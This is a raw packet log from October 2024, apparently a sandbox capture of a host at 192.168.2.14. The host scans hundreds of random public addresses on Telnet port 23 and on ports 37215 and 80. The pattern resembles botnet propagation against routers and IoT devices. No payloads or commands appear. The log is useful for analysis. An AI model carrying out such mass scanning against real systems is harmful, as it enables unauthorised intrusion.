Oct 17, 2024 02:19:46.083784103 CEST	32848	37215	192.168.2.14	41.105.31.70
Oct 17, 2024 02:19:46.083786964 CEST	57386	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:46.083786964 CEST	40030	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:46.088586092 CEST	80	51166	89.205.249.27	192.168.2.14
Oct 17, 2024 02:19:46.088598013 CEST	80	58986	65.149.139.140	192.168.2.14
Oct 17, 2024 02:19:46.088608027 CEST	37215	41062	41.248.114.237	192.168.2.14
Oct 17, 2024 02:19:46.088649035 CEST	51166	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:46.088674068 CEST	58986	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:46.088685036 CEST	41062	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.088737965 CEST	51166	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:46.088761091 CEST	58986	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:46.089137077 CEST	41062	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.089137077 CEST	41062	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.089688063 CEST	41536	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.093970060 CEST	37215	41062	41.248.114.237	192.168.2.14
Oct 17, 2024 02:19:46.094249964 CEST	80	51166	89.205.249.27	192.168.2.14
Oct 17, 2024 02:19:46.094288111 CEST	51166	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:46.094444990 CEST	37215	41536	41.248.114.237	192.168.2.14
Oct 17, 2024 02:19:46.094533920 CEST	41536	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.094533920 CEST	41536	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.094552994 CEST	80	58986	65.149.139.140	192.168.2.14
Oct 17, 2024 02:19:46.094616890 CEST	58986	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:46.099838018 CEST	37215	41536	41.248.114.237	192.168.2.14
Oct 17, 2024 02:19:46.099889994 CEST	41536	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.103113890 CEST	37215	44430	41.29.102.230	192.168.2.14
Oct 17, 2024 02:19:46.115698099 CEST	56336	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:46.115700960 CEST	34242	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:46.115700960 CEST	56334	37215	192.168.2.14	197.125.71.22
Oct 17, 2024 02:19:46.115700960 CEST	48598	37215	192.168.2.14	197.243.195.90
Oct 17, 2024 02:19:46.115724087 CEST	55306	37215	192.168.2.14	197.201.29.125
Oct 17, 2024 02:19:46.115724087 CEST	37538	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:46.115731001 CEST	35824	37215	192.168.2.14	156.45.20.38
Oct 17, 2024 02:19:46.115758896 CEST	48882	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:46.120523930 CEST	80	56336	66.119.106.113	192.168.2.14
Oct 17, 2024 02:19:46.120632887 CEST	56336	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:46.120718002 CEST	80	34242	35.45.188.242	192.168.2.14
Oct 17, 2024 02:19:46.120752096 CEST	56336	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:46.120902061 CEST	34242	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:46.120902061 CEST	34242	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:46.126204967 CEST	80	56336	66.119.106.113	192.168.2.14
Oct 17, 2024 02:19:46.126252890 CEST	56336	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:46.126494884 CEST	80	34242	35.45.188.242	192.168.2.14
Oct 17, 2024 02:19:46.126552105 CEST	34242	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:46.134727001 CEST	23	53838	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:46.134879112 CEST	53838	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:46.135168076 CEST	37215	41062	41.248.114.237	192.168.2.14
Oct 17, 2024 02:19:46.135483980 CEST	53900	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:46.136545897 CEST	20632	23	192.168.2.14	169.56.49.182
Oct 17, 2024 02:19:46.136549950 CEST	20632	23	192.168.2.14	131.119.60.52
Oct 17, 2024 02:19:46.136569977 CEST	20632	23	192.168.2.14	2.2.91.27
Oct 17, 2024 02:19:46.136569977 CEST	20632	23	192.168.2.14	112.234.91.247
Oct 17, 2024 02:19:46.136569977 CEST	20632	23	192.168.2.14	160.99.61.52
Oct 17, 2024 02:19:46.136575937 CEST	20632	23	192.168.2.14	74.121.245.152
Oct 17, 2024 02:19:46.136575937 CEST	20632	23	192.168.2.14	212.142.113.45
Oct 17, 2024 02:19:46.136581898 CEST	20632	23	192.168.2.14	211.131.49.189
Oct 17, 2024 02:19:46.136583090 CEST	20632	23	192.168.2.14	74.189.147.168
Oct 17, 2024 02:19:46.136585951 CEST	20632	23	192.168.2.14	151.207.119.206
Oct 17, 2024 02:19:46.136585951 CEST	20632	23	192.168.2.14	126.244.219.123
Oct 17, 2024 02:19:46.136585951 CEST	20632	23	192.168.2.14	47.232.177.79
Oct 17, 2024 02:19:46.136590958 CEST	20632	23	192.168.2.14	188.34.67.28
Oct 17, 2024 02:19:46.136605024 CEST	20632	23	192.168.2.14	142.127.129.76
Oct 17, 2024 02:19:46.136607885 CEST	20632	23	192.168.2.14	152.171.235.15
Oct 17, 2024 02:19:46.136607885 CEST	20632	23	192.168.2.14	203.127.48.172
Oct 17, 2024 02:19:46.136607885 CEST	20632	23	192.168.2.14	157.39.30.142
Oct 17, 2024 02:19:46.136607885 CEST	20632	23	192.168.2.14	116.55.69.220
Oct 17, 2024 02:19:46.136607885 CEST	20632	23	192.168.2.14	106.114.178.26
Oct 17, 2024 02:19:46.136609077 CEST	20632	23	192.168.2.14	219.144.72.206
Oct 17, 2024 02:19:46.136614084 CEST	20632	23	192.168.2.14	162.180.203.150
Oct 17, 2024 02:19:46.136614084 CEST	20632	23	192.168.2.14	13.155.219.56
Oct 17, 2024 02:19:46.136614084 CEST	20632	23	192.168.2.14	63.117.163.29
Oct 17, 2024 02:19:46.136614084 CEST	20632	23	192.168.2.14	194.230.116.203
Oct 17, 2024 02:19:46.136614084 CEST	20632	23	192.168.2.14	201.83.149.139
Oct 17, 2024 02:19:46.136625051 CEST	20632	23	192.168.2.14	185.207.237.198
Oct 17, 2024 02:19:46.136625051 CEST	20632	23	192.168.2.14	187.141.33.9
Oct 17, 2024 02:19:46.136631966 CEST	20632	23	192.168.2.14	190.12.55.160
Oct 17, 2024 02:19:46.136635065 CEST	20632	23	192.168.2.14	68.136.2.100
Oct 17, 2024 02:19:46.136636972 CEST	20632	23	192.168.2.14	91.72.171.101
Oct 17, 2024 02:19:46.136636972 CEST	20632	23	192.168.2.14	179.133.152.237
Oct 17, 2024 02:19:46.136636972 CEST	20632	23	192.168.2.14	83.213.244.212
Oct 17, 2024 02:19:46.136636972 CEST	20632	23	192.168.2.14	63.194.136.0
Oct 17, 2024 02:19:46.136636972 CEST	20632	23	192.168.2.14	77.18.60.208
Oct 17, 2024 02:19:46.136636972 CEST	20632	23	192.168.2.14	95.224.31.107
Oct 17, 2024 02:19:46.136641026 CEST	20632	23	192.168.2.14	183.183.18.196
Oct 17, 2024 02:19:46.136651039 CEST	20632	23	192.168.2.14	177.117.34.173
Oct 17, 2024 02:19:46.136655092 CEST	20632	23	192.168.2.14	103.208.226.182
Oct 17, 2024 02:19:46.136656046 CEST	20632	23	192.168.2.14	213.68.110.56
Oct 17, 2024 02:19:46.136660099 CEST	20632	23	192.168.2.14	34.235.35.209
Oct 17, 2024 02:19:46.136672020 CEST	20632	23	192.168.2.14	164.49.70.125
Oct 17, 2024 02:19:46.136672020 CEST	20632	23	192.168.2.14	140.196.161.34
Oct 17, 2024 02:19:46.136682034 CEST	20632	23	192.168.2.14	171.166.44.172
Oct 17, 2024 02:19:46.136682034 CEST	20632	23	192.168.2.14	156.139.134.222
Oct 17, 2024 02:19:46.136706114 CEST	20632	23	192.168.2.14	195.148.209.123
Oct 17, 2024 02:19:46.136706114 CEST	20632	23	192.168.2.14	124.64.7.53
Oct 17, 2024 02:19:46.136707067 CEST	20632	23	192.168.2.14	102.188.16.198
Oct 17, 2024 02:19:46.136707067 CEST	20632	23	192.168.2.14	53.18.220.29
Oct 17, 2024 02:19:46.136715889 CEST	20632	23	192.168.2.14	87.160.219.237
Oct 17, 2024 02:19:46.136715889 CEST	20632	23	192.168.2.14	188.28.182.191
Oct 17, 2024 02:19:46.136718988 CEST	20632	23	192.168.2.14	199.79.195.187
Oct 17, 2024 02:19:46.136720896 CEST	20632	23	192.168.2.14	84.134.70.90
Oct 17, 2024 02:19:46.136720896 CEST	20632	23	192.168.2.14	87.139.102.101
Oct 17, 2024 02:19:46.136720896 CEST	20632	23	192.168.2.14	47.21.0.3
Oct 17, 2024 02:19:46.136720896 CEST	20632	23	192.168.2.14	202.210.52.121
Oct 17, 2024 02:19:46.136730909 CEST	20632	23	192.168.2.14	90.216.102.109
Oct 17, 2024 02:19:46.136771917 CEST	20632	23	192.168.2.14	198.0.31.160
Oct 17, 2024 02:19:46.136775017 CEST	20632	23	192.168.2.14	167.80.194.105
Oct 17, 2024 02:19:46.136781931 CEST	20632	23	192.168.2.14	204.13.124.68
Oct 17, 2024 02:19:46.136790037 CEST	20632	23	192.168.2.14	112.215.106.109
Oct 17, 2024 02:19:46.136791945 CEST	20632	23	192.168.2.14	210.10.116.21
Oct 17, 2024 02:19:46.136791945 CEST	20632	23	192.168.2.14	60.54.202.222
Oct 17, 2024 02:19:46.136791945 CEST	20632	23	192.168.2.14	152.238.178.14
Oct 17, 2024 02:19:46.136799097 CEST	20632	23	192.168.2.14	166.234.35.73
Oct 17, 2024 02:19:46.136805058 CEST	20632	23	192.168.2.14	91.173.12.245
Oct 17, 2024 02:19:46.136806011 CEST	20632	23	192.168.2.14	105.202.233.223
Oct 17, 2024 02:19:46.136809111 CEST	20632	23	192.168.2.14	160.120.68.166
Oct 17, 2024 02:19:46.136816025 CEST	20632	23	192.168.2.14	150.149.134.15
Oct 17, 2024 02:19:46.136816025 CEST	20632	23	192.168.2.14	69.22.249.203
Oct 17, 2024 02:19:46.136831999 CEST	20632	23	192.168.2.14	144.58.137.63
Oct 17, 2024 02:19:46.136837959 CEST	20632	23	192.168.2.14	151.254.42.239
Oct 17, 2024 02:19:46.136842966 CEST	20632	23	192.168.2.14	210.142.112.175
Oct 17, 2024 02:19:46.136842966 CEST	20632	23	192.168.2.14	41.62.151.250
Oct 17, 2024 02:19:46.136842966 CEST	20632	23	192.168.2.14	59.193.200.198
Oct 17, 2024 02:19:46.136842966 CEST	20632	23	192.168.2.14	95.234.187.142
Oct 17, 2024 02:19:46.136852026 CEST	20632	23	192.168.2.14	112.37.168.173
Oct 17, 2024 02:19:46.136852026 CEST	20632	23	192.168.2.14	120.95.180.236
Oct 17, 2024 02:19:46.136854887 CEST	20632	23	192.168.2.14	106.165.246.121
Oct 17, 2024 02:19:46.136862993 CEST	20632	23	192.168.2.14	70.245.239.52
Oct 17, 2024 02:19:46.136874914 CEST	20632	23	192.168.2.14	110.177.77.221
Oct 17, 2024 02:19:46.136884928 CEST	20632	23	192.168.2.14	98.119.151.125
Oct 17, 2024 02:19:46.136885881 CEST	20632	23	192.168.2.14	44.188.75.96
Oct 17, 2024 02:19:46.136893034 CEST	20632	23	192.168.2.14	126.107.212.39
Oct 17, 2024 02:19:46.136893034 CEST	20632	23	192.168.2.14	146.36.90.158
Oct 17, 2024 02:19:46.136903048 CEST	20632	23	192.168.2.14	88.199.168.154
Oct 17, 2024 02:19:46.136909962 CEST	20632	23	192.168.2.14	49.103.53.238
Oct 17, 2024 02:19:46.136909962 CEST	20632	23	192.168.2.14	17.142.211.39
Oct 17, 2024 02:19:46.136913061 CEST	20632	23	192.168.2.14	170.70.97.201
Oct 17, 2024 02:19:46.136930943 CEST	20632	23	192.168.2.14	170.173.186.222
Oct 17, 2024 02:19:46.136930943 CEST	20632	23	192.168.2.14	68.130.70.17
Oct 17, 2024 02:19:46.136933088 CEST	20632	23	192.168.2.14	212.165.204.15
Oct 17, 2024 02:19:46.136936903 CEST	20632	23	192.168.2.14	139.189.56.199
Oct 17, 2024 02:19:46.136936903 CEST	20632	23	192.168.2.14	222.140.17.18
Oct 17, 2024 02:19:46.136940002 CEST	20632	23	192.168.2.14	188.11.160.10
Oct 17, 2024 02:19:46.136940002 CEST	20632	23	192.168.2.14	48.117.37.118
Oct 17, 2024 02:19:46.136940956 CEST	20632	23	192.168.2.14	75.242.23.234
Oct 17, 2024 02:19:46.136940956 CEST	20632	23	192.168.2.14	98.47.34.26
Oct 17, 2024 02:19:46.136951923 CEST	20632	23	192.168.2.14	59.57.110.186
Oct 17, 2024 02:19:46.136953115 CEST	20632	23	192.168.2.14	148.96.197.217
Oct 17, 2024 02:19:46.136956930 CEST	20632	23	192.168.2.14	86.60.49.150
Oct 17, 2024 02:19:46.136956930 CEST	20632	23	192.168.2.14	103.190.20.110
Oct 17, 2024 02:19:46.136969090 CEST	20632	23	192.168.2.14	100.158.73.168
Oct 17, 2024 02:19:46.136970997 CEST	20632	23	192.168.2.14	109.216.9.207
Oct 17, 2024 02:19:46.136970997 CEST	20632	23	192.168.2.14	164.86.49.12
Oct 17, 2024 02:19:46.136979103 CEST	20632	23	192.168.2.14	51.223.223.248
Oct 17, 2024 02:19:46.136979103 CEST	20632	23	192.168.2.14	66.133.162.175
Oct 17, 2024 02:19:46.136986017 CEST	20632	23	192.168.2.14	173.209.95.102
Oct 17, 2024 02:19:46.136987925 CEST	20632	23	192.168.2.14	13.229.24.179
Oct 17, 2024 02:19:46.136987925 CEST	20632	23	192.168.2.14	210.164.183.185
Oct 17, 2024 02:19:46.136989117 CEST	20632	23	192.168.2.14	57.66.246.159
Oct 17, 2024 02:19:46.136989117 CEST	20632	23	192.168.2.14	83.126.160.232
Oct 17, 2024 02:19:46.136992931 CEST	20632	23	192.168.2.14	62.61.109.154
Oct 17, 2024 02:19:46.137001991 CEST	20632	23	192.168.2.14	171.221.237.150
Oct 17, 2024 02:19:46.137001991 CEST	20632	23	192.168.2.14	122.232.135.223
Oct 17, 2024 02:19:46.137001991 CEST	20632	23	192.168.2.14	20.237.130.43
Oct 17, 2024 02:19:46.137001991 CEST	20632	23	192.168.2.14	145.205.44.176
Oct 17, 2024 02:19:46.137007952 CEST	20632	23	192.168.2.14	19.99.253.186
Oct 17, 2024 02:19:46.137023926 CEST	20632	23	192.168.2.14	47.103.12.151
Oct 17, 2024 02:19:46.137031078 CEST	20632	23	192.168.2.14	86.117.190.241
Oct 17, 2024 02:19:46.137031078 CEST	20632	23	192.168.2.14	119.159.112.120
Oct 17, 2024 02:19:46.137038946 CEST	20632	23	192.168.2.14	188.32.98.137
Oct 17, 2024 02:19:46.137038946 CEST	20632	23	192.168.2.14	50.68.3.228
Oct 17, 2024 02:19:46.137039900 CEST	20632	23	192.168.2.14	184.135.197.49
Oct 17, 2024 02:19:46.137041092 CEST	20632	23	192.168.2.14	35.55.131.116
Oct 17, 2024 02:19:46.137041092 CEST	20632	23	192.168.2.14	111.94.250.129
Oct 17, 2024 02:19:46.137058020 CEST	20632	23	192.168.2.14	125.11.38.192
Oct 17, 2024 02:19:46.137058020 CEST	20632	23	192.168.2.14	166.25.17.50
Oct 17, 2024 02:19:46.137058020 CEST	20632	23	192.168.2.14	133.208.205.6
Oct 17, 2024 02:19:46.137058973 CEST	20632	23	192.168.2.14	37.190.213.54
Oct 17, 2024 02:19:46.137058973 CEST	20632	23	192.168.2.14	92.37.43.71
Oct 17, 2024 02:19:46.137061119 CEST	20632	23	192.168.2.14	45.156.202.58
Oct 17, 2024 02:19:46.137063026 CEST	20632	23	192.168.2.14	212.219.84.95
Oct 17, 2024 02:19:46.137064934 CEST	20632	23	192.168.2.14	43.91.230.229
Oct 17, 2024 02:19:46.137065887 CEST	20632	23	192.168.2.14	121.47.88.178
Oct 17, 2024 02:19:46.137080908 CEST	20632	23	192.168.2.14	153.102.85.187
Oct 17, 2024 02:19:46.137084007 CEST	20632	23	192.168.2.14	96.170.123.14
Oct 17, 2024 02:19:46.137084961 CEST	20632	23	192.168.2.14	102.236.7.45
Oct 17, 2024 02:19:46.137084961 CEST	20632	23	192.168.2.14	69.131.196.57
Oct 17, 2024 02:19:46.137084961 CEST	20632	23	192.168.2.14	82.3.85.251
Oct 17, 2024 02:19:46.137094021 CEST	20632	23	192.168.2.14	206.11.21.158
Oct 17, 2024 02:19:46.137094975 CEST	20632	23	192.168.2.14	210.66.163.165
Oct 17, 2024 02:19:46.137094975 CEST	20632	23	192.168.2.14	122.241.149.76
Oct 17, 2024 02:19:46.137095928 CEST	20632	23	192.168.2.14	184.107.47.92
Oct 17, 2024 02:19:46.137095928 CEST	20632	23	192.168.2.14	120.66.246.201
Oct 17, 2024 02:19:46.137095928 CEST	20632	23	192.168.2.14	130.91.49.56
Oct 17, 2024 02:19:46.137096882 CEST	20632	23	192.168.2.14	39.190.58.188
Oct 17, 2024 02:19:46.137095928 CEST	20632	23	192.168.2.14	184.59.94.147
Oct 17, 2024 02:19:46.137098074 CEST	20632	23	192.168.2.14	98.14.134.225
Oct 17, 2024 02:19:46.137098074 CEST	20632	23	192.168.2.14	199.191.135.50
Oct 17, 2024 02:19:46.137098074 CEST	20632	23	192.168.2.14	54.147.210.224
Oct 17, 2024 02:19:46.137098074 CEST	20632	23	192.168.2.14	144.155.25.11
Oct 17, 2024 02:19:46.137114048 CEST	20632	23	192.168.2.14	108.245.14.133
Oct 17, 2024 02:19:46.137125969 CEST	20632	23	192.168.2.14	107.151.97.215
Oct 17, 2024 02:19:46.137126923 CEST	20632	23	192.168.2.14	163.106.8.68
Oct 17, 2024 02:19:46.137129068 CEST	20632	23	192.168.2.14	58.81.16.241
Oct 17, 2024 02:19:46.137128115 CEST	20632	23	192.168.2.14	70.83.18.155
Oct 17, 2024 02:19:46.137129068 CEST	20632	23	192.168.2.14	2.149.29.81
Oct 17, 2024 02:19:46.137128115 CEST	20632	23	192.168.2.14	76.138.63.208
Oct 17, 2024 02:19:46.137128115 CEST	20632	23	192.168.2.14	199.166.68.1
Oct 17, 2024 02:19:46.137128115 CEST	20632	23	192.168.2.14	4.65.183.209
Oct 17, 2024 02:19:46.137128115 CEST	20632	23	192.168.2.14	32.231.253.194
Oct 17, 2024 02:19:46.137128115 CEST	20632	23	192.168.2.14	62.175.110.12
Oct 17, 2024 02:19:46.137140036 CEST	20632	23	192.168.2.14	164.50.84.38
Oct 17, 2024 02:19:46.137146950 CEST	20632	23	192.168.2.14	87.86.194.73
Oct 17, 2024 02:19:46.137152910 CEST	20632	23	192.168.2.14	18.142.77.181
Oct 17, 2024 02:19:46.137152910 CEST	20632	23	192.168.2.14	37.70.187.66
Oct 17, 2024 02:19:46.137160063 CEST	20632	23	192.168.2.14	223.124.233.4
Oct 17, 2024 02:19:46.137170076 CEST	20632	23	192.168.2.14	196.143.125.12
Oct 17, 2024 02:19:46.137175083 CEST	20632	23	192.168.2.14	14.202.185.191
Oct 17, 2024 02:19:46.137170076 CEST	20632	23	192.168.2.14	47.229.171.244
Oct 17, 2024 02:19:46.137186050 CEST	20632	23	192.168.2.14	72.193.178.134
Oct 17, 2024 02:19:46.137186050 CEST	20632	23	192.168.2.14	163.89.80.194
Oct 17, 2024 02:19:46.137186050 CEST	20632	23	192.168.2.14	95.195.230.211
Oct 17, 2024 02:19:46.137187004 CEST	20632	23	192.168.2.14	23.217.132.219
Oct 17, 2024 02:19:46.137190104 CEST	20632	23	192.168.2.14	122.77.158.20
Oct 17, 2024 02:19:46.137190104 CEST	20632	23	192.168.2.14	160.51.171.150
Oct 17, 2024 02:19:46.137193918 CEST	20632	23	192.168.2.14	202.133.98.1
Oct 17, 2024 02:19:46.137197018 CEST	20632	23	192.168.2.14	216.13.250.227
Oct 17, 2024 02:19:46.137206078 CEST	20632	23	192.168.2.14	122.187.89.71
Oct 17, 2024 02:19:46.137212992 CEST	20632	23	192.168.2.14	70.186.12.134
Oct 17, 2024 02:19:46.137222052 CEST	20632	23	192.168.2.14	191.2.212.109
Oct 17, 2024 02:19:46.137223005 CEST	20632	23	192.168.2.14	141.54.2.241
Oct 17, 2024 02:19:46.137223005 CEST	20632	23	192.168.2.14	209.172.106.103
Oct 17, 2024 02:19:46.137231112 CEST	20632	23	192.168.2.14	157.131.79.194
Oct 17, 2024 02:19:46.137232065 CEST	20632	23	192.168.2.14	69.171.95.14
Oct 17, 2024 02:19:46.137233973 CEST	20632	23	192.168.2.14	94.34.251.86
Oct 17, 2024 02:19:46.137233973 CEST	20632	23	192.168.2.14	160.191.8.127
Oct 17, 2024 02:19:46.137233973 CEST	20632	23	192.168.2.14	32.163.74.8
Oct 17, 2024 02:19:46.137239933 CEST	20632	23	192.168.2.14	148.170.236.51
Oct 17, 2024 02:19:46.137239933 CEST	20632	23	192.168.2.14	126.121.163.130
Oct 17, 2024 02:19:46.137247086 CEST	20632	23	192.168.2.14	74.195.205.12
Oct 17, 2024 02:19:46.137249947 CEST	20632	23	192.168.2.14	148.55.78.175
Oct 17, 2024 02:19:46.137254000 CEST	20632	23	192.168.2.14	167.133.51.15
Oct 17, 2024 02:19:46.137254000 CEST	20632	23	192.168.2.14	189.9.250.1
Oct 17, 2024 02:19:46.137258053 CEST	20632	23	192.168.2.14	39.123.241.57
Oct 17, 2024 02:19:46.137264013 CEST	20632	23	192.168.2.14	1.225.190.255
Oct 17, 2024 02:19:46.137274981 CEST	20632	23	192.168.2.14	58.184.173.158
Oct 17, 2024 02:19:46.137278080 CEST	20632	23	192.168.2.14	4.82.164.188
Oct 17, 2024 02:19:46.137281895 CEST	20632	23	192.168.2.14	133.169.182.39
Oct 17, 2024 02:19:46.137285948 CEST	20632	23	192.168.2.14	206.106.35.199
Oct 17, 2024 02:19:46.137289047 CEST	20632	23	192.168.2.14	43.238.72.251
Oct 17, 2024 02:19:46.137289047 CEST	20632	23	192.168.2.14	112.118.150.212
Oct 17, 2024 02:19:46.137289047 CEST	20632	23	192.168.2.14	204.136.95.27
Oct 17, 2024 02:19:46.137296915 CEST	20632	23	192.168.2.14	102.129.44.135
Oct 17, 2024 02:19:46.137303114 CEST	20632	23	192.168.2.14	198.80.126.66
Oct 17, 2024 02:19:46.137303114 CEST	20632	23	192.168.2.14	117.5.149.63
Oct 17, 2024 02:19:46.137305021 CEST	20632	23	192.168.2.14	47.94.143.16
Oct 17, 2024 02:19:46.137305021 CEST	20632	23	192.168.2.14	51.81.115.181
Oct 17, 2024 02:19:46.137315035 CEST	20632	23	192.168.2.14	162.206.40.90
Oct 17, 2024 02:19:46.137324095 CEST	20632	23	192.168.2.14	97.255.13.74
Oct 17, 2024 02:19:46.137336016 CEST	20632	23	192.168.2.14	222.95.27.248
Oct 17, 2024 02:19:46.137341022 CEST	20632	23	192.168.2.14	8.150.151.90
Oct 17, 2024 02:19:46.137341976 CEST	20632	23	192.168.2.14	12.200.8.150
Oct 17, 2024 02:19:46.137343884 CEST	20632	23	192.168.2.14	189.111.217.204
Oct 17, 2024 02:19:46.137343884 CEST	20632	23	192.168.2.14	141.111.226.230
Oct 17, 2024 02:19:46.137343884 CEST	20632	23	192.168.2.14	74.61.22.222
Oct 17, 2024 02:19:46.137352943 CEST	20632	23	192.168.2.14	174.211.186.69
Oct 17, 2024 02:19:46.137352943 CEST	20632	23	192.168.2.14	191.160.38.205
Oct 17, 2024 02:19:46.137352943 CEST	20632	23	192.168.2.14	5.212.228.55
Oct 17, 2024 02:19:46.137352943 CEST	20632	23	192.168.2.14	70.217.75.83
Oct 17, 2024 02:19:46.137351990 CEST	20632	23	192.168.2.14	98.236.10.163
Oct 17, 2024 02:19:46.137352943 CEST	20632	23	192.168.2.14	203.219.129.201
Oct 17, 2024 02:19:46.137353897 CEST	20632	23	192.168.2.14	183.200.12.53
Oct 17, 2024 02:19:46.137366056 CEST	20632	23	192.168.2.14	142.39.217.82
Oct 17, 2024 02:19:46.137367964 CEST	20632	23	192.168.2.14	143.98.177.193
Oct 17, 2024 02:19:46.137373924 CEST	20632	23	192.168.2.14	222.234.238.222
Oct 17, 2024 02:19:46.137378931 CEST	20632	23	192.168.2.14	117.151.157.242
Oct 17, 2024 02:19:46.137384892 CEST	20632	23	192.168.2.14	24.63.157.166
Oct 17, 2024 02:19:46.137386084 CEST	20632	23	192.168.2.14	99.199.193.171
Oct 17, 2024 02:19:46.137392998 CEST	20632	23	192.168.2.14	39.84.67.117
Oct 17, 2024 02:19:46.137398958 CEST	20632	23	192.168.2.14	60.254.145.183
Oct 17, 2024 02:19:46.137401104 CEST	20632	23	192.168.2.14	72.152.75.235
Oct 17, 2024 02:19:46.137402058 CEST	20632	23	192.168.2.14	128.205.182.176
Oct 17, 2024 02:19:46.137402058 CEST	20632	23	192.168.2.14	196.19.98.81
Oct 17, 2024 02:19:46.137408972 CEST	20632	23	192.168.2.14	94.198.34.250
Oct 17, 2024 02:19:46.137413025 CEST	20632	23	192.168.2.14	186.109.111.232
Oct 17, 2024 02:19:46.137413025 CEST	20632	23	192.168.2.14	183.155.145.14
Oct 17, 2024 02:19:46.137418032 CEST	20632	23	192.168.2.14	91.233.137.11
Oct 17, 2024 02:19:46.137427092 CEST	20632	23	192.168.2.14	158.148.168.71
Oct 17, 2024 02:19:46.137427092 CEST	20632	23	192.168.2.14	160.172.84.16
Oct 17, 2024 02:19:46.137427092 CEST	20632	23	192.168.2.14	24.135.113.29
Oct 17, 2024 02:19:46.137428045 CEST	20632	23	192.168.2.14	37.189.91.109
Oct 17, 2024 02:19:46.137428045 CEST	20632	23	192.168.2.14	167.233.136.225
Oct 17, 2024 02:19:46.137432098 CEST	20632	23	192.168.2.14	77.202.26.94
Oct 17, 2024 02:19:46.137439966 CEST	20632	23	192.168.2.14	147.17.232.234
Oct 17, 2024 02:19:46.137449026 CEST	20632	23	192.168.2.14	1.161.1.66
Oct 17, 2024 02:19:46.137450933 CEST	20632	23	192.168.2.14	34.129.57.108
Oct 17, 2024 02:19:46.137450933 CEST	20632	23	192.168.2.14	82.185.71.186
Oct 17, 2024 02:19:46.137459040 CEST	20632	23	192.168.2.14	69.126.29.159
Oct 17, 2024 02:19:46.137459993 CEST	20632	23	192.168.2.14	63.208.130.10
Oct 17, 2024 02:19:46.137459993 CEST	20632	23	192.168.2.14	113.135.78.112
Oct 17, 2024 02:19:46.137459993 CEST	20632	23	192.168.2.14	36.138.202.217
Oct 17, 2024 02:19:46.137473106 CEST	20632	23	192.168.2.14	90.108.198.11
Oct 17, 2024 02:19:46.137473106 CEST	20632	23	192.168.2.14	162.184.161.238
Oct 17, 2024 02:19:46.137475967 CEST	20632	23	192.168.2.14	217.252.193.190
Oct 17, 2024 02:19:46.137478113 CEST	20632	23	192.168.2.14	179.89.160.253
Oct 17, 2024 02:19:46.137482882 CEST	20632	23	192.168.2.14	51.169.138.167
Oct 17, 2024 02:19:46.137495995 CEST	20632	23	192.168.2.14	183.9.10.52
Oct 17, 2024 02:19:46.137500048 CEST	20632	23	192.168.2.14	43.218.7.166
Oct 17, 2024 02:19:46.137500048 CEST	20632	23	192.168.2.14	187.252.238.183
Oct 17, 2024 02:19:46.137500048 CEST	20632	23	192.168.2.14	107.79.196.204
Oct 17, 2024 02:19:46.137507915 CEST	20632	23	192.168.2.14	4.100.12.202
Oct 17, 2024 02:19:46.137507915 CEST	20632	23	192.168.2.14	188.28.34.32
Oct 17, 2024 02:19:46.137516022 CEST	20632	23	192.168.2.14	5.39.119.67
Oct 17, 2024 02:19:46.137516022 CEST	20632	23	192.168.2.14	131.70.185.218
Oct 17, 2024 02:19:46.137532949 CEST	20632	23	192.168.2.14	150.8.150.228
Oct 17, 2024 02:19:46.137535095 CEST	20632	23	192.168.2.14	27.225.22.88
Oct 17, 2024 02:19:46.137535095 CEST	20632	23	192.168.2.14	74.255.31.129
Oct 17, 2024 02:19:46.137535095 CEST	20632	23	192.168.2.14	86.132.248.160
Oct 17, 2024 02:19:46.137538910 CEST	20632	23	192.168.2.14	192.135.133.37
Oct 17, 2024 02:19:46.137542963 CEST	20632	23	192.168.2.14	213.242.120.103
Oct 17, 2024 02:19:46.137542963 CEST	20632	23	192.168.2.14	44.172.105.199
Oct 17, 2024 02:19:46.137548923 CEST	20632	23	192.168.2.14	47.123.188.4
Oct 17, 2024 02:19:46.137548923 CEST	20632	23	192.168.2.14	128.19.8.95
Oct 17, 2024 02:19:46.137548923 CEST	20632	23	192.168.2.14	67.28.110.11
Oct 17, 2024 02:19:46.137566090 CEST	20632	23	192.168.2.14	70.91.88.209
Oct 17, 2024 02:19:46.137566090 CEST	20632	23	192.168.2.14	206.126.18.72
Oct 17, 2024 02:19:46.137574911 CEST	20632	23	192.168.2.14	142.77.207.92
Oct 17, 2024 02:19:46.137578964 CEST	20632	23	192.168.2.14	103.195.185.188
Oct 17, 2024 02:19:46.137578964 CEST	20632	23	192.168.2.14	221.39.71.161
Oct 17, 2024 02:19:46.137584925 CEST	20632	23	192.168.2.14	202.203.194.120
Oct 17, 2024 02:19:46.137586117 CEST	20632	23	192.168.2.14	108.201.122.155
Oct 17, 2024 02:19:46.137586117 CEST	20632	23	192.168.2.14	212.208.212.79
Oct 17, 2024 02:19:46.137588024 CEST	20632	23	192.168.2.14	95.159.59.242
Oct 17, 2024 02:19:46.137588978 CEST	20632	23	192.168.2.14	89.164.73.194
